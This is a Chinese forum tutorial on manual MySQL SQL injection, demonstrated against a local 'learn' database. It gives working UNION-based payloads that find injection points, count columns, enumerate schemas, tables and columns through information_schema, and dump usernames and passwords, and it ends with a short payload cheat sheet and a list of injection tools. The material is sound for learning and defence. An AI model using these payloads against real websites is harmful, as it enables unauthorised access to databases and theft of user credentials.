设为首页 收藏本站
查看: 896|回复: 0

[经验分享] mysql手工注入

[复制链接]

尚未签到

发表于 2018-10-8 07:39:14 | 显示全部楼层 |阅读模式
DSC0000.jpg

  information_schema
SQL基础
1.1 什么是sql?
  SQL(structured query language),即结构化查询语言,是关系数据库的标准语言,SQL是一个通用的、功能强大的关系数据库语言,但其功能并不仅仅是查询。
1.2 mysql
  MySQL是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,目前属于 Oracle 旗下产品。另外,MySQL是一种关联数据库管理系统,关联数据库将数据保存在不同的表中,而不是将所有数据放在一个大仓库内,这样就增加了速度并提高了灵活性。来源于百度百科
SQL注入基础
2.1 什么是SQL注入
  所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。简单来说,SQL注入就是一种通过操作输入(可以是表单,可以是get请求,也可以是POST请求等)来插入或修改后台SQL语句达到代码执行从而进行***的技术。
2.2 SQL注入***产生的原因
  出现SQL注入***漏洞的主要原因是:许多网页程序员在编写代码的时候,没有对用户输入数据的合法性进行严格的判断和过滤,从而导致应用程序存在该漏洞。
2.3 mysql注入***的方法
  对于mysql注入常用的方法主要是以下两种:
  (1)手工注入。
  (2)使用工具注入
2.4 mysql手工注入原理
  在mysql手工注入中主要是利用mysql自带的information_schema数据库,information_schema这个数据库保存了MySQL服务器所有数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。简单点说,这台MySQL服务器上,到底有哪些数据库、各个数据库有哪些表,每张表的字段类型是什么,各个数据库要什么权限才能访问,等等信息都保存在information_schema数据库里面。
mysql手工注入详解
3.1 基本环境介绍
  涉及数据库:learn,涉及表:users。
DSC0001.jpg

  表users
3.2 判断注入点
  and 1=1(正常显示), and 1=2(非正常显示) ,但不限于此。也可以是3>1(正常显示),3>5(非正常显示)等。
3.2.1判断uid是否存在注入点
  本身查询语句为:SELECT uid,username FROM users WHERE uid=1
DSC0002.jpg

  本身查询语句
3.2.2 判断原理
  SELECT uid,username FROM users WHERE uid=1 and 1=1
DSC0003.jpg

  正常显示
  SELECT uid,username FROM users WHERE uid=1 and 1=2
DSC0004.jpg

  非正常显示
3.3 查字段数
3.3.1 order by排序
  order by 主要是用于排序,用法基本为:order by  [ASC | DESC]
  列名可以是select后面的列名,也可以是数字,代表第一列或第几列!查询字段数也是根据order by排序的列名可以是数字来进行判断的。
3.3.2 查当前查询中的字段数
  本身查询语句:SELECT uid,username,phone FROM users WHERE uid=1
DSC0005.jpg

  本身查询结果
  查当前字段数目(列数):order by
  SELECT uid,username,phone FROM users WHERE uid=1 ORDER BY 3
DSC0006.jpg

  正常显示
  SELECT uid,username,phone FROM users WHERE uid=1 ORDER BY 4
DSC0007.jpg

  非正常显示
  因为当前页面查询的语句中只查询三个字段,所以当输入按照第四列来进行排序是就会出现异常。所以我们可用通过折半来进行查询列数,前一个正常,后一个异常,那么该正常的就是当前查询中的列数。
3.4 查询字段在页面中的显示位置
  联合查询数据显示位置,不成立条件+union select(如果前面是成立的话页面中会看不到想要的信息),也可以是 前面条件不变+union select + limit m,1。(如果看到页面中信息有union select查询中的数字时,那么也是可以看到字段显示在页面中的位置,但是如果查询信息过多的话则不适用,因此推荐使用前面的那种方式)。
  SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,3
DSC0008.jpg

  显示查询字段在页面中的位置
3.5 查询基本信息
  查询基本信息主要是利用数据库中的内置函数来获取信息。
  1. version()——MySQL版本
  2. user()——用户名
  3. database()——数据库名
  4. @@datadir——数据库路径
  5. @@version_compile_os——操作系统版本
  我们可以通过将对应函数放到页面显示位中的位置数来查出相应信息并显示在页面中。
  SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT VERSION(),user(),database()
DSC0009.jpg

  查询基本信息
  SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT @@datadir,@@version_compile_os,database()
DSC00010.jpg

  查询基本信息
  另外,我们可以使用字符串连接函数一次性查询多条信息:
  SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,group_concat(version(),0x3B,user(),0x3B,database(),0x3B,@@datadir,0x3B,@@version_compile_os)
  0x3B是分隔符, ; 的十六进制!
DSC00011.jpg

  使用连接函数查询多条信息
DSC00012.jpg

  连接函数例子
  高级查数据库:
  SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,SCHEMA_NAME FROM information_schema.SCHEMATA LIMIT 9,1
  LIMIT 9,1是从第9个数据库开始查询一条记录,使用这个可以逐个查询数据库中有哪些数据库。
DSC00013.jpg

  高级查数据库
  只运行:SELECT 1,2,SCHEMA_name from information_schema.SCHEMATA LIMIT 8,3
DSC00014.jpg

  limit m,n 例子
  SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(SCHEMA_NAME) FROM information_schema.SCHEMATA
DSC00015.jpg

  查询当前连接中有哪些数据库
  SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(DISTINCT TABLE_SCHEMA) FROM information_schema.COLUMNS
DSC00016.jpg

  查询当前连接中有哪些数据库
3.6 查表名
  SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,TABLE_NAME FROM (SELECT * FROM information_schema.TABLES WHERE TABLE_SCHEMA=learn)a
DSC00017.jpg

  报错
  这里需要将数据库名转化为十六进制
DSC00018.jpg

  转化为十六进制
  SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,TABLE_NAME FROM (SELECT * FROM information_schema.TABLES WHERE TABLE_SCHEMA=0x6C6561726E)a
DSC00019.jpg

  查询指定数据库表名
  只运行SELECT * FROM information_schema.tables WHERE TABLE_SCHEMA=0x6C6561726E
DSC00020.jpg

  原理
DSC00021.jpg

  原理
  高级查表
  SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,TABLE_NAME FROM  information_schema.TABLES WHERE TABLE_SCHEMA=0x6C6561726E
DSC00022.jpg

  高级查表
  SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(TABLE_NAME) FROM  information_schema.TABLES WHERE TABLE_SCHEMA=0x6C6561726E
DSC00023.jpg

  高级查表
  SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(DISTINCT TABLE_NAME) FROM  information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E
DSC00024.jpg

  高级查表
3.7 查字段
  SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,COLUMN_NAME FROM  (SELECT * FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E)a
DSC00025.jpg

  查字段
  这里可通过limit m,n循环查询,也可使用GROUP_CONCAT函数一次性查询。
DSC00026.jpg

  一次性查询
  只运行SELECT * FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E AND TABLE_NAME=0x7573657273
DSC00027.jpg

  原理
  SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,PRIVILEGES,COLUMN_NAME FROM (SELECT * FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E)a
DSC00028.jpg

  原理
  这里可以使用limit m,n来逐个(limit m,1)查询。
  高级查字段
  SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E
DSC00029.jpg

  高级查字段
  SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_NAME=0x7573657273
DSC00030.jpg

  高级查字段
  SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E
DSC00031.jpg

  查字段
DSC00032.jpg

  查字段
  SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_NAME=0x7573657273
DSC00033.jpg

  高级查字段
3.8 查字段内容
  SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,username FROM users
DSC00034.jpg

  查字段内容
  这里可使用limit m,1来逐个查询,也可以使用GROUP_CONCAT函数一次性查询。
DSC00035.jpg

  使用连接函数
  SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(uid,0x3B,username,0x3B,password) FROM users
DSC00036.jpg

  连接函数一次性查询
工具注入
  对于使用工具来进行注入,最好时首先手工判断下,如果是或者怀疑是,那么就可以丢给工具来进行注入。
4.1 SQL注入工具
  工具有但不限于以下几种:sqlmap,BSQL、the mole、pangolin、enema sqli、SQLninja、sqlsus、safe3 sql injector、sql poizon、啊D、Havij、HDSI3.0、NBSI等。
4.2 工具注入优缺点
  工具注入是可以节省很多时间,但是仅仅靠工具也不一定能利用该漏洞,因为工具有自己的局限性,不如手工那么灵活,简单来说,如果应用程序有了一定的过滤,那么就需要灵活地使用手工注入,如果程序在把查询语句插入到数据库中时把过滤了,那么就可以根据这一特性进行简单的绕过,如union select 1,2,3。
information_schema简单介绍
直接上图
  用于加深对上面涉及到的相关信息的理解。详细信息请自行查看information_schema数据库里面涉及的相关表信息!
DSC00037.jpg

  information_schema
DSC00038.jpg

  information_schema.columns
DSC00039.jpg

  information_schema.schemata
DSC00040.jpg

  information_schema.processlist
DSC00041.jpg

  information_schema.tables
DSC00042.jpg

  information_schema.partitions
  以上这么复杂纯属装逼,下面分享简单版的mysql手工注入!
  UNION SELECT 1,2,3,group_concat(schema_name),5,6,7 from information_schema.schemata查所有数据库
  UNION SELECT 1,2,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA='库名'查表
  UNION SELECT 1,2,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='learn'查字段
  union select group_concat(字段,字段) from 表名


运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-615392-1-1.html 上篇帖子: Mysql备份--之LVM逻辑卷快照备份 下篇帖子: mysql 从库升级为主库的步骤
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表